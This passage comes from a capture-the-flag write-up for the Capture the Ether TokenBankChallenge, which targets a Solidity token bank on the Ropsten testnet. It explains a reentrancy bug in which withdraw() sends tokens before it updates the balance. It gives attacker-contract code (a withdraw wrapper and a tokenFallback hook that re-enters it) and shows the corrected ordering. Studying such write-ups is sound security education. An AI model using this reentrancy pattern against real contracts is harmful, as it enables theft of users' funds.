as all challenges in capture the ether), the withdraw()
function also causes an integer overflow in the balanceOf
array for the contract address we’re using to interact with it.
To solve it, we must code a contract that implements a function that calls withdraw()
in the TokenBankChallenge contract, for example:
function withdraw() public {
if (token.balanceOf(address(challenge)) > 0) {
challenge.withdraw(challenge.balanceOf(address(this)));
}
}
Where challenge
is an interface.
In this case, we will only call withdraw()
again if there’s funds still available in the contract.
A tokenFallback()
function must also be implemented because the SimpleERC223Token contract will call it. This function must also include a call to the withdraw()
in our attacker contract, I implemented it like this:
function tokenFallback(address sender, uint256 value, bytes data) external {
if (sender == address(challenge)) {
withdraw();
}
}
We only want to call withdraw when the TokenBankChallenge contract transfers funds to the attacker contract through require(token.transfer(msg.sender, amount));
(line 106 in the challenge contract).
The reentrancy vulnerability would be impossible to execute if the balance is updated prior to calling transfer in the token contract:
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
balanceOf[msg.sender] -= amount;
require(token.transfer(msg.sender, amount));
}
However, the contract is coded as follows:
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
Submission transaction
https://ropsten.etherscan.io/tx/0xd172a0fe62e154b55ca71d98f8003835121977c5ff18a1c4d76c97b5c4e380fb